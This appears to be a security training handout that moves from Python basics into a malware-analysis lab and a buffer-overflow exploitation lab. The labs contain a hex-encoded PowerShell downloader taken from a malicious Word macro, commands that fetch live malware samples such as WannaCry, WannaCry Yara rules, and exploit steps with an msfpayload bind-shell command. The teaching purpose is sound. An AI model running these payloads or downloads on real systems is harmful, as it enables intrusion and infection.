  4686. - Encoder NONE
  4687. - use the Javascript encoded payload generated by msfweb
  4688.  
  4689. ##########################
  4690. # Python Lambda Function #
  4691. ##########################
  4692.  
  4693.  
  4694. Python allows you to create anonymous function i.e function having no names using a facility called lambda function.
  4695.  
  4696. lambda functions are small functions usually not more than a line. It can have any number of arguments just like a normal function. The body of lambda functions is very small and consists of only one expression. The result of the expression is the value when the lambda is applied to an argument. Also there is no need for any return statement in lambda function.
  4697.  
  4698. Let’s take an example:
  4699.  
  4700. Consider a function multiply()
  4701.  
  4702. def multiply(x, y):
  4703. return x * y
  4704.  
  4705.  
  4706. This function is too small, so let’s convert it into a lambda function.
  4707.  
  4708. To create a lambda function first write keyword lambda followed by one of more arguments separated by comma, followed by colon sign ( : ), followed by a single line expression.
  4709.  
  4710. ---------------------------Type This-----------------------------------
  4711.  
  4712. >>> r = lambda x, y: x * y
  4713. >>> r(12,3)
  4714. 36
  4715. -----------------------------------------------------------------------
  4716.  
  4717. Here we are using two arguments x and y , expression after colon is the body of the lambda function. As you can see lambda function has no name and is called through the variable it is assigned to.
  4718.  
  4719. You don’t need to assign lambda function to a variable.
  4720.  
  4721. ---------------------------Type This-----------------------------------
  4722.  
  4723. >>> (lambda x, y: x * y)(3,4)
  4724. 12
  4725. -----------------------------------------------------------------------
  4726.  
  4727. Note that lambda function can’t contain more than one expression.
  4728.  
  4729.  
  4730.  
  4731. ##################
  4732. # Python Classes #
  4733. ##################
  4734.  
  4735.  
  4736. ****************
  4737. * Introduction *
  4738. ****************
  4739.  
  4740. Classes are the cornerstone of Object Oriented Programming. They are the blueprints used to create objects. And, as the name suggests, all of Object Oriented Programming centers around the use of objects to build programs.
  4741.  
  4742. You don't write objects, not really. They are created, or instantiated, in a program using a class as their basis. So, you design objects by writing classes. That means that the most important part of understanding Object Oriented Programming is understanding what classes are and how they work.
  4743.  
  4744.  
  4745. ***********************
  4746. * Real World Examples *
  4747. ***********************
  4748.  
  4749.  
  4750. This next part if going to get abstract. You can think of objects in programming just like objects in the real world. Classes are then the way you would describe those objects and the plans for what they can do.
  4751.  
  4752. Start off by thinking about a web vuln scanner.
  4753.  
  4754. What about what they can do? Nearly every web vuln scanner can do the same basic things, but they just might do them differently or at different speeds. You could then describe the actions that a vuln scanner can perform using functions. In Object Oriented Programming, though, functions are called methods.
  4755.  
  4756. So, if you were looking to use "vuln scanner" objects in your program, you would create a "vuln scanner" class to serve as a blueprint with all of the variables that you would want to hold information about your "vuln scanner" objects and all of the methods to describe what you would like your vuln scanner to be able to do.
  4757.  
  4758.  
  4759. ******************
  4760. * A Python Class *
  4761. ******************
  4762.  
  4763.  
  4764. Now that you have a general idea of what a class is, it's best to take a look at a real Python class and study how it is structured.
  4765.  
  4766. ---------------------------Paste This-----------------------------------
  4767.  
  4768. class WebVulnScanner(object):
  4769. make = 'Acunetix'
  4770. model = '10.5'
  4771. year = '2014'
  4772. version ='Consultant Edition'
  4773.  
  4774. profile = 'High Risk'
  4775.  
  4776.  
  4777. def crawling(self, speed):
  4778. print("Crawling at %s" % speed)
  4779.  
  4780.  
  4781. def scanning(self, speed):
  4782. print("Scanning at %s" % speed)
  4783. -----------------------------------------------------------------------
  4784.  
  4785.  
  4786. Creating a class looks a lot like creating a function. Instead of def you use the keyword, class. Then, you give it a name, just like you would a function. It also has parenthesis like a function, but they don't work the way you think. For a class the parenthesis allow it to extend an existing class. Don't worry about this right now, just understand that you have to put object there because it's the base of all other classes.
  4787.  
  4788. From there, you can see a bunch of familiar things that you'd see floating around any Python program, variables and functions. There are a series of variables with information about the scanner and a couple of methods(functions) describing what the scanner can do. You can see that each of the methods takes two parameters, self and speed. You can see that "speed" is used in the methods to print out how fast the scanner is scanning, but "self" is different.
  4789.  
  4790.  
  4791. *****************
  4792. * What is Self? *
  4793. *****************
  4794.  
  4795. Alright, so "self" is the biggest quirk in the way that Python handles Object Oriented Programming. In most languages, classes and objects are just aware of their variables in their methods. Python needs to be told to remember them. When you pass "self" to a method, you are essentially passing that object to its method to remind it of all of the variables and other methods in that object. You also need to use it when using variables in methods. For example, if you wanted to output the model of the scanner along with the speed, it looks like this.
  4796.  
  4797. ---------------------------Type This-----------------------------------
  4798.  
  4799. print("Your %s is crawling at %s" % (self.model, speed))
  4800. -----------------------------------------------------------------------
  4801.  
  4802. It's awkward and odd, but it works, and it's really not worth worrying about. Just remember to include "self" as the first parameter of your methods and "self." in front of your variables, and you'll be alright.
  4803.  
  4804.  
  4805. *****************
  4806. * Using A Class *
  4807. *****************
  4808.  
  4809.  
  4810. You're ready to start using the WebVulnScanner class. Create a new Python file and paste the class in. Below, you can create an object using it. Creating, or instantiating, an object in Python looks like the line below.
  4811. ---------------------------Type This-----------------------------------
  4812.  
  4813. myscanner = WebVulnScanner()
  4814. -----------------------------------------------------------------------
  4815.  
  4816.  
  4817. That's it. To create a new object, you just have to make a new variable and set it equal to class that you are basing your object on.
  4818.  
  4819. Get your scanner object to print out its make and model.
  4820. ---------------------------Type This-----------------------------------
  4821.  
  4822. print("%s %s" % (myscanner.make, myscanner.model))
  4823. -----------------------------------------------------------------------
  4824.  
  4825. The use of a . between an object and its internal components is called the dot notation. It's very common in OOP. It works for methods the same way it does for variables.
  4826. ---------------------------Type This-----------------------------------
  4827.  
  4828. myscanner.scanning('10req/sec')
  4829. -----------------------------------------------------------------------
  4830.  
  4831. What if you want to change the profile of your scanning? You can definitely do that too, and it works just like changing the value of any other variable. Try printing out the profile of your scanner first. Then, change the profile, and print it out again.
  4832. ---------------------------Type This-----------------------------------
  4833.  
  4834. print("The profile of my scanner settings is %s" % myscanner.profile)
  4835. myscanner.profile = "default"
  4836. print("The profile of my scanner settings is %s" % myscanner.profile)
  4837. -----------------------------------------------------------------------
  4838.  
  4839. Your scanner settings are default now. What about a new WebVulnScanner? If you made a new scanner object, would the scanning profile be default? Give it a shot.
  4840. ---------------------------Type This-----------------------------------
  4841.  
  4842. mynewscanner = WebVulnScanner()
  4843. print("The scanning profile of my new scanner is %s" % mynewscanner.profile)
  4844. -----------------------------------------------------------------------
  4845.  
  4846. That one's high risk. New objects are copied from the class, and the class still says that the profile is high risk. Objects exist in the computer's memory while a program is running. When you change the values within an object, they are specific to that object as it exists in memory. The changes won't persist once the program stops and won't change the class that it was created from.
  4847.  
  4848.  
  4849. #########################################
  4850. # The self variable in python explained #
  4851. #########################################
  4852.  
  4853. So lets start by making a class involving the self variable.
  4854.  
  4855. A simple class :
  4856.  
  4857. So here is our class:
  4858. ---------------------------Paste This-----------------------------------
  4859.  
  4860. class port(object):
  4861. open = False
  4862. def open_port(self):
  4863. if not self.open:
  4864. print("port open")
  4865.  
  4866. -----------------------------------------------------------------------
  4867.  
  4868. First let me explain the above code without the technicalities. First of all we make a class port. Then we assign it a property “open” which is currently false. After that we assign it a function open_port which can only occur if “open” is False which means that the port is open.
  4869.  
  4870. Making a Port:
  4871.  
  4872. Now that we have made a class for a Port, lets actually make a port:
  4873. ---------------------------Type This-----------------------------------
  4874.  
  4875. x = port()
  4876. -----------------------------------------------------------------------
  4877.  
  4878. Now x is a port which has a property open and a function open_port. Now we can access the property open by typing:
  4879. ---------------------------Type This-----------------------------------
  4880.  
  4881. x.open
  4882. -----------------------------------------------------------------------
  4883.  
  4884. The above command is same as:
  4885. ---------------------------Type This-----------------------------------
  4886.  
  4887. port().open
  4888. -----------------------------------------------------------------------
  4889.  
  4890. Now you can see that self refers to the bound variable or object. In the first case it was x because we had assigned the port class to x whereas in the second case it referred to port(). Now if we have another port y, self will know to access the open value of y and not x. For example check this example:
  4891. ---------------------------Type This-----------------------------------
  4892.  
  4893. >>> x = port()
  4894. >>> x.open
  4895. False
  4896. >>> y = port()
  4897. >>> y.open = True
  4898. >>> y.open
  4899. True
  4900. >>> x.open
  4901. False
  4902.  
  4903. -----------------------------------------------------------------------
  4904. The first argument of every class method, including init, is always a reference to the current instance of the class. By convention, this argument is always named self. In the init method, self refers to the newly created object; in other class methods, it refers to the instance whose method was called. For example the below code is the same as the above code.
  4905.  
  4906. ---------------------------Paste This-----------------------------------
  4907.  
  4908. class port(object):
  4909. open = False
  4910. def open_port(this):
  4911. if not this.open:
  4912. print("port open")
  4913.  
  4914. -----------------------------------------------------------------------
  4915.  
  4916.  
  4917.  
  4918.  
  4919.  
  4920.  
  4921. ##################################
  4922. # Day 3 Homework videos to watch #
  4923. ##################################
  4924. Here is your first set of youtube videos that I'd like for you to watch:
  4925. https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA (watch videos 21-30)
  4926.  
  4927.  
  4928.  
  4929.  
  4930.  
  4931.  
  4932.  
  4933.  
  4934.  
  4935.  
  4936.  
  4937.  
  4938. #######################################
  4939. ----------- ############### # Day 4: Malware analysis with Python # ############### -----------
  4940. #######################################
  4941.  
  4942.  
  4943. ###############################
  4944. # Lesson 28: Malware Analysis #
  4945. ###############################
  4946.  
  4947.  
  4948.  
  4949.  
  4950. ################
  4951. # The Scenario #
  4952. ################
  4953. You've come across a file that has been flagged by one of your security products (AV Quarantine, HIPS, Spam Filter, Web Proxy, or digital forensics scripts).
  4954.  
  4955.  
  4956. The fastest thing you can do is perform static analysis.
  4957. ---------------------------Type This-----------------------------------
  4958.  
  4959. sudo pip install olefile
  4960. infosecaddicts
  4961.  
  4962. mkdir ~/Desktop/oledump
  4963.  
  4964. cd ~/Desktop/oledump
  4965.  
  4966. wget http://didierstevens.com/files/software/oledump_V0_0_22.zip
  4967.  
  4968. unzip oledump_V0_0_22.zip
  4969.  
  4970. wget http://45.63.104.73/064016.zip
  4971.  
  4972. unzip 064016.zip
  4973. infected
  4974.  
  4975. python oledump.py 064016.doc
  4976.  
  4977. python oledump.py 064016.doc -s A4 -v
  4978. -----------------------------------------------------------------------
  4979.  
  4980. - From this we can see this Word doc contains an embedded file called editdata.mso which contains seven data streams.
  4981. - Three of the data streams are flagged as macros: A3:’VBA/Module1′, A4:’VBA/Module2′, A5:’VBA/ThisDocument’.
  4982.  
  4983. ---------------------------Type This-----------------------------------
  4984.  
  4985. python oledump.py 064016.doc -s A5 -v
  4986. -----------------------------------------------------------------------
  4987.  
  4988. - As far as I can tell, VBA/Module2 does absolutely nothing. These are nonsensical functions designed to confuse heuristic scanners.
  4989.  
  4990. ---------------------------Type This-----------------------------------
  4991.  
  4992. python oledump.py 064016.doc -s A3 -v
  4993. -----------------------------------------------------------------------
  4994.  
  4995. - Look for "GVhkjbjv" and you should see:
  4996.  
  4997. 636D64202F4B20706F7765727368656C6C2E657865202D457865637574696F6E506F6C69637920627970617373202D6E6F70726F66696C6520284E65772D4F626A6563742053797374656D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F36322E37362E34312E31352F6173616C742F617373612E657865272C272554454D50255C4A494F696F646668696F49482E63616227293B20657870616E64202554454D50255C4A494F696F646668696F49482E636162202554454D50255C4A494F696F646668696F49482E6578653B207374617274202554454D50255C4A494F696F646668696F49482E6578653B
  4998.  
  4999. - Take that long blob that starts with 636D and finishes with 653B and paste it in:
  5000. http://www.rapidtables.com/convert/number/hex-to-ascii.htm
  5001.  
  5002.  
  5003.  
  5004. ###################
  5005. # Static Analysis #
  5006. ###################
  5007.  
  5008. - After logging please open a terminal window and type the following commands:
  5009. ---------------------------Type This-----------------------------------
  5010.  
  5011. cd Desktop/
  5012.  
  5013. wget http://45.63.104.73/wannacry.zip
  5014.  
  5015. unzip wannacry.zip
  5016. infected
  5017.  
  5018. file wannacry.exe
  5019.  
  5020. mv wannacry.exe malware.pdf
  5021.  
  5022. file malware.pdf
  5023.  
  5024. mv malware.pdf wannacry.exe
  5025.  
  5026. hexdump -n 2 -C wannacry.exe
  5027.  
  5028. -----------------------------------------------------------------------
  5029.  
  5030.  
  5031.  
  5032. ***What is '4d 5a' or 'MZ'***
  5033. Reference:
  5034. http://www.garykessler.net/library/file_sigs.html
  5035.  
  5036.  
  5037.  
  5038. ---------------------------Type This-----------------------------------
  5039.  
  5040.  
  5041. objdump -x wannacry.exe
  5042.  
  5043. strings wannacry.exe
  5044.  
  5045. strings --all wannacry.exe | head -n 6
  5046.  
  5047. strings wannacry.exe | grep -i dll
  5048.  
  5049. strings wannacry.exe | grep -i library
  5050.  
  5051. strings wannacry.exe | grep -i reg
  5052.  
  5053. strings wannacry.exe | grep -i key
  5054.  
  5055. strings wannacry.exe | grep -i rsa
  5056.  
  5057. strings wannacry.exe | grep -i open
  5058.  
  5059. strings wannacry.exe | grep -i get
  5060.  
  5061. strings wannacry.exe | grep -i mutex
  5062.  
  5063. strings wannacry.exe | grep -i irc
  5064.  
  5065. strings wannacry.exe | grep -i join
  5066.  
  5067. strings wannacry.exe | grep -i admin
  5068.  
  5069. strings wannacry.exe | grep -i list
  5070.  
  5071.  
  5072.  
  5073. -----------------------------------------------------------------------
  5074.  
  5075.  
  5076.  
  5077.  
  5078.  
  5079.  
  5080.  
  5081.  
  5082. Hmmmmm.......what's the latest thing in the news - oh yeah "WannaCry"
  5083.  
  5084. Quick Google search for "wannacry ransomeware analysis"
  5085.  
  5086.  
  5087. Reference
  5088. https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
  5089.  
  5090. - Yara Rule -
  5091.  
  5092.  
  5093. Strings:
  5094. $s1 = “Ooops, your files have been encrypted!” wide ascii nocase
  5095. $s2 = “Wanna Decryptor” wide ascii nocase
  5096. $s3 = “.wcry” wide ascii nocase
  5097. $s4 = “WANNACRY” wide ascii nocase
  5098. $s5 = “WANACRY!” wide ascii nocase
  5099. $s7 = “icacls . /grant Everyone:F /T /C /Q” wide ascii nocase
  5100.  
  5101.  
  5102.  
  5103.  
  5104.  
  5105.  
  5106.  
  5107.  
  5108. Ok, let's look for the individual strings
  5109.  
  5110. ---------------------------Type This-----------------------------------
  5111.  
  5112.  
  5113. strings wannacry.exe | grep -i ooops
  5114.  
  5115. strings wannacry.exe | grep -i wanna
  5116.  
  5117. strings wannacry.exe | grep -i wcry
  5118.  
  5119. strings wannacry.exe | grep -i wannacry
  5120.  
  5121. strings wannacry.exe | grep -i wanacry **** Matches $s5, hmmm.....
  5122.  
  5123.  
  5124. -----------------------------------------------------------------------
  5125.  
  5126.  
  5127.  
  5128.  
  5129.  
  5130. ####################################
  5131. # Tired of GREP - let's try Python #
  5132. ####################################
  5133. Decided to make my own script for this kind of stuff in the future. I
  5134.  
  5135. Reference1:
  5136. http://45.63.104.73/analyse_malware.py
  5137.  
  5138. This is a really good script for the basics of static analysis
  5139.  
  5140. Reference:
  5141. https://joesecurity.org/reports/report-db349b97c37d22f5ea1d1841e3c89eb4.html
  5142.  
  5143.  
  5144. This is really good for showing some good signatures to add to the Python script
  5145.  
  5146.  
  5147. Here is my own script using the signatures (started this yesterday, but still needs work):
  5148. https://pastebin.com/guxzCBmP
  5149.  
  5150.  
  5151. ---------------------------Type This-----------------------------------
  5152.  
  5153.  
  5154. sudo apt install -y python-pefile
  5155. infosecaddicts
  5156.  
  5157.  
  5158.  
  5159. wget https://pastebin.com/raw/guxzCBmP
  5160.  
  5161.  
  5162. mv guxzCBmP am.py
  5163.  
  5164.  
  5165. vi am.py
  5166.  
  5167. python am.py wannacry.exe
  5168.  
  5169.  
  5170. -----------------------------------------------------------------------
  5171.  
  5172.  
  5173.  
  5174.  
  5175.  
  5176.  
  5177.  
  5178.  
  5179. ##############
  5180. # Yara Ninja #
  5181. ##############
  5182. ---------------------------Type This-----------------------------------
  5183.  
  5184. cd ~/Desktop
  5185.  
  5186. sudo apt-get remove -y yara
  5187. infosecaddcits
  5188.  
  5189. sudo apt -y install libtool
  5190. infosecaddicts
  5191.  
  5192. wget https://github.com/VirusTotal/yara/archive/v3.6.0.zip
  5193.  
  5194.  
  5195. unzip v3.6.0.zip
  5196.  
  5197. cd yara-3.6.0
  5198.  
  5199. ./bootstrap.sh
  5200.  
  5201. ./configure
  5202.  
  5203. make
  5204.  
  5205. sudo make install
  5206. infosecaddicts
  5207.  
  5208. yara -v
  5209.  
  5210. cd ~/Desktop
  5211.  
  5212.  
  5213. -----------------------------------------------------------------------
  5214.  
  5215.  
  5216. NOTE:
  5217. McAfee is giving these yara rules - so add them to the hashes.txt file
  5218.  
  5219. Reference:
  5220. https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
  5221.  
  5222. ----------------------------------------------------------------------------
  5223. rule wannacry_1 : ransom
  5224. {
  5225. meta:
  5226. author = "Joshua Cannell"
  5227. description = "WannaCry Ransomware strings"
  5228. weight = 100
  5229. date = "2017-05-12"
  5230.  
  5231. strings:
  5232. $s1 = "Ooops, your files have been encrypted!" wide ascii nocase
  5233. $s2 = "Wanna Decryptor" wide ascii nocase
  5234. $s3 = ".wcry" wide ascii nocase
  5235. $s4 = "WANNACRY" wide ascii nocase
  5236. $s5 = "WANACRY!" wide ascii nocase
  5237. $s7 = "icacls . /grant Everyone:F /T /C /Q" wide ascii nocase
  5238.  
  5239. condition:
  5240. any of them
  5241. }
  5242.  
  5243. ----------------------------------------------------------------------------
  5244. rule wannacry_2{
  5245. meta:
  5246. author = "Harold Ogden"
  5247. description = "WannaCry Ransomware Strings"
  5248. date = "2017-05-12"
  5249. weight = 100
  5250.  
  5251. strings:
  5252. $string1 = "msg/m_bulgarian.wnry"
  5253. $string2 = "msg/m_chinese (simplified).wnry"
  5254. $string3 = "msg/m_chinese (traditional).wnry"
  5255. $string4 = "msg/m_croatian.wnry"
  5256. $string5 = "msg/m_czech.wnry"
  5257. $string6 = "msg/m_danish.wnry"
  5258. $string7 = "msg/m_dutch.wnry"
  5259. $string8 = "msg/m_english.wnry"
  5260. $string9 = "msg/m_filipino.wnry"
  5261. $string10 = "msg/m_finnish.wnry"
  5262. $string11 = "msg/m_french.wnry"
  5263. $string12 = "msg/m_german.wnry"
  5264. $string13 = "msg/m_greek.wnry"
  5265. $string14 = "msg/m_indonesian.wnry"
  5266. $string15 = "msg/m_italian.wnry"
  5267. $string16 = "msg/m_japanese.wnry"
  5268. $string17 = "msg/m_korean.wnry"
  5269. $string18 = "msg/m_latvian.wnry"
  5270. $string19 = "msg/m_norwegian.wnry"
  5271. $string20 = "msg/m_polish.wnry"
  5272. $string21 = "msg/m_portuguese.wnry"
  5273. $string22 = "msg/m_romanian.wnry"
  5274. $string23 = "msg/m_russian.wnry"
  5275. $string24 = "msg/m_slovak.wnry"
  5276. $string25 = "msg/m_spanish.wnry"
  5277. $string26 = "msg/m_swedish.wnry"
  5278. $string27 = "msg/m_turkish.wnry"
  5279. $string28 = "msg/m_vietnamese.wnry"
  5280.  
  5281.  
  5282. condition:
  5283. any of ($string*)
  5284. }
  5285. ----------------------------------------------------------------------------
  5286.  
  5287.  
  5288. #######################
  5289. # External DB Lookups #
  5290. #######################
  5291.  
  5292. Creating a malware database (sqlite)
  5293. ---------------------------Type This-----------------------------------
  5294.  
  5295. sudo apt install -y python-simplejson python-simplejson-dbg
  5296. infosecaddicts
  5297.  
  5298.  
  5299.  
  5300. wget https://raw.githubusercontent.com/mboman/mart/master/bin/avsubmit.py
  5301.  
  5302.  
  5303.  
  5304. python avsubmit.py -f wannacry.exe -e
  5305.  
  5306. ----------------------------------------------------------------------------
  5307.  
  5308. Analysis of the file can be found at:
  5309. http://www.threatexpert.com/report.aspx?md5=84c82835a5d21bbcf75a61706d8ab549
  5310.  
  5311.  
  5312.  
  5313.  
  5314.  
  5315.  
  5316.  
  5317.  
  5318.  
  5319. ###############################
  5320. # Creating a Malware Database #
  5321. ###############################
  5322. Creating a malware database (mysql)
  5323. -----------------------------------
  5324. - Step 1: Installing MySQL database
  5325. - Run the following command in the terminal:
  5326. ---------------------------Type This-----------------------------------
  5327.  
  5328. sudo apt install -y mysql-server
  5329. infosecaddicts
  5330.  
  5331. - Step 2: Installing Python MySQLdb module
  5332. - Run the following command in the terminal:
  5333.  
  5334. sudo apt-get build-dep python-mysqldb
  5335. infosecaddicts
  5336.  
  5337. sudo apt install -y python-mysqldb
  5338. infosecaddicts
  5339.  
  5340. Step 3: Logging in
  5341. Run the following command in the terminal:
  5342.  
  5343. mysql -u root -p (set a password of 'malware')
  5344.  
  5345. - Then create one database by running following command:
  5346.  
  5347. create database malware;
  5348.  
  5349. exit;
  5350.  
  5351. wget https://raw.githubusercontent.com/dcmorton/MalwareTools/master/mal_to_db.py
  5352.  
  5353. vi mal_to_db.py (fill in database connection information)
  5354.  
  5355. python mal_to_db.py -i
  5356.  
  5357. ------- check it to see if the files table was created ------
  5358.  
  5359. mysql -u root -p
  5360. malware
  5361.  
  5362. show databases;
  5363.  
  5364. use malware;
  5365.  
  5366. show tables;
  5367.  
  5368. describe files;
  5369.  
  5370. exit;
  5371.  
  5372. -----------------------------------------------------------------------
  5373.  
  5374.  
  5375. - Now add the malicious file to the DB
  5376. ---------------------------Type This-----------------------------------
  5377.  
  5378.  
  5379. python mal_to_db.py -f wannacry.exe -u
  5380.  
  5381. -----------------------------------------------------------------------
  5382.  
  5383.  
  5384. - Now check to see if it is in the DB
  5385. --------------------------Type This-----------------------------------
  5386.  
  5387. mysql -u root -p
  5388. malware
  5389.  
  5390. mysql> use malware;
  5391.  
  5392. select id,md5,sha1,sha256,time FROM files;
  5393.  
  5394. mysql> quit;
  5395.  
  5396. -----------------------------------------------------------------------
  5397.  
  5398.  
  5399.  
  5400. ######################################
  5401. # PCAP Analysis with forensicPCAP.py #
  5402. ######################################
  5403. ---------------------------Type This-----------------------------------
  5404.  
  5405. cd ~/Desktop
  5406. wget https://raw.githubusercontent.com/madpowah/ForensicPCAP/master/forensicPCAP.py
  5407. sudo easy_install cmd2
  5408.  
  5409. python forensicPCAP.py Browser\ Forensics/suspicious-time.pcap
  5410.  
  5411. ForPCAP >>> help
  5412.  
  5413.  
  5414. Prints stats about PCAP
  5415. ForPCAP >>> stat
  5416.  
  5417.  
  5418. Prints all DNS requests from the PCAP file. The id before the DNS is the packet's id which can be use with the "show" command.
  5419. ForPCAP >>> dns
  5420.  
  5421. ForPCAP >>> show
  5422.  
  5423.  
  5424. Prints all destination ports from the PCAP file. The id before the DNS is the packet's id which can be use with the "show" command.
  5425. ForPCAP >>> dstports
  5426.  
  5427. ForPCAP >>> show
  5428.  
  5429.  
  5430. Prints the number of ip source and store them.
  5431. ForPCAP >>> ipsrc
  5432.  
  5433.  
  5434. Prints the number of web's requests and store them
  5435. ForPCAP >>> web
  5436.  
  5437.  
  5438. Prints the number of mail's requests and store them
  5439. ForPCAP >>> mail
  5440.  
  5441. -----------------------------------------------------------------------
  5442.  
  5443.  
  5444.  
  5445.  
  5446.  
  5447.  
  5448. ##################################
  5449. # Day 4 Homework videos to watch #
  5450. ##################################
  5451. Here is your first set of youtube videos that I'd like for you to watch:
  5452. https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA (watch videos 31-40)
  5453.  
  5454.  
  5455.  
  5456.  
  5457.  
  5458.  
  5459.  
  5460.  
  5461.  
  5462.  
  5463. ##########################################
  5464. ----------- ############### # Day 4: Debugger automation with Python # ############### -----------
  5465. ##########################################
  5466.  
  5467. In this lab we are going to exploit the bufferoverflow in the program which is a simple tcp server using the strcpy in its code. Download the server's .exe file from here http://code.securitytube.net/Server-Strcpy.exe
  5468.  
  5469. Run the server on windows machine.
  5470.  
  5471. Connect to the server from an ubuntu machine using nc <ip-adress of windows> 10000. Send some character from there and see if it returns the same.
  5472.  
  5473.  
  5474.  
  5475. It's a simple echo server. Reflects whatever you type in the input we send to this program, is stored using strcpy. Let us write a simple python program that sends a large input to the program and see if it can handle large inputs.
  5476. ---------------------------Type This-----------------------------------
  5477.  
  5478. vim strcpy.py
  5479.  
  5480. ./strcpy <server adress>
  5481.  
  5482. -----------------------------------------------------------------------
  5483.  
  5484.  
  5485. On the server machine see if the server crashes and what error it shows.
  5486.  
  5487. Now let's find out what happens behind the scenes when you run the python script against your echo server. When you do not have the source code of the program that you need to debug, the only way to do so is to take the binary, disassemble and debug it to actually see what is happening. The immunity debugger is the tool which does all that.
  5488.  
  5489. Open the server.exe file in immunity debugger. It will show information about the binary in different sections including Registers [EIP, ESP, EBP, etc], the machine language equivalent and addresses of the binary with their values.
  5490.  
  5491. Now press the run button and the binary will be in the “Running” state. Execute the strcpy.py script as done previously. The binary will crash again and immunity debugger will show it in “Paused” State. It will also show the stack with its values and ASCII equivalent which is seen as “AAAA...” as all the characters sent from the script are As, as shown in the figure below.
  5492.  
  5493.  
  5494. We can also write python scripts using the python shell provided by the Immunity Debugger. The scripts we write here need to be placed in “C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands” directory, which will be automatically made available to immunity debugger at run-time.
  5495.  
  5496.  
  5497. Now open the python shell, Create “New Window” and save it as spse-demo in the PyCommands directory mentioned above.
  5498.  
  5499.  
  5500.  
  5501. In order to leverage the rich set of APIs that Immunity provides, import the immlib which ships with the Immunity framework. At this instance write a simple script that simply prints hello in the main method. To run the script write the name of the script preceded by the exclamation mark e.g !spse-demo. You can also write to the Log window by:
  5502. imm.log(“Anything to log”)
  5503.  
  5504. Now the problem with the debugger is that it prints all the messages at the end of the script execution, which is quite hectic if you are writing a long script which requires incremental updates. To serve the purpose use imm.updateLog() method so that the Log is updated instantly.
  5505.  
  5506. Our command will also be visible in the List of PyCommands which are available in the Immunity.
  5507.  
  5508.  
  5509. To run a process we need to open the process in Immunity Debugger and run it as shown earlier, what if we want to run the same process programmatically.
  5510.  
  5511. Create a new python script naming spse-pro.py similarly as in the previous example. Open the process by imm.openProcess(“path to the binary”) e.g my binary was C:\Server-Strcpy.exe
  5512.  
  5513.  
  5514. Similarly, you can attach the Immunity Debugger to an already running process by the imm.Attach(pid) method.
  5515.  
  5516. Now inside a running process we need to get a list of modules, and for each of these modules we need to get a set of properties like Name, Base Address, Entry Point, and Size of that process. Useful methods are getAllModules and its child methods which are elaborated in the Immunity's online documentation.
  5517.  
  5518.  
  5519.  
  5520.  
  5521. Now we will use the Immunity Debugger to actually exploit the buffer overflow.
  5522.  
  5523. As we know the stack grows from high-memory to low-memory. When we send a large buffer to our program/binary the return address is over-written, the EIP ends up with a garbage value and the program crashed. The idea is to specially craft the buffer in a way to over-write the return address with a chosen value, which is the payload we want to execute on that machine.
  5524.  
  5525. To start, we'll revisit our old python script and a metasploit utility patter_creat.rb to create a random pattern of 500 characters.
  5526.  
  5527.  
  5528.  
  5529. Place this pattern in the python attack script, run the server in the Immunity, run the attack script. See that the binary has crashed and the EIP is populated with the value 6A413969. Now we need to find at which offset this value is in our pattern, pattern_offset.rb will server the purpose.
  5530.  
  5531.  
  5532.  
  5533. From this we know the value from offset 268 precisely corrupts the EIP. Meaning we really don't care about the first 268 bytes of the buffer, what we need to focus is the return address.
  5534.  
  5535. Now next to EIP there is ESP register, we will populate the ESP with our payload and place a jump ESP instruction in the EIP register. The OPCode for the JUMP ESP instruction is 71AB7BFB, which we will append to our buffer in reverse order, as the bytes are stored in reverse order in stack. For payload we use metsploit to generate our payload and encode it for x86 architecture. Following command will suffice
  5536.  
  5537. ---------------------------Type This-----------------------------------
  5538.  
  5539. msfpayload windows/shell_bind_tcp R | msfencode -a x86 -b “\x90” -t c
  5540. -----------------------------------------------------------------------
  5541.  
  5542. This will generate a payload, append it to the buffer and run the script again.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement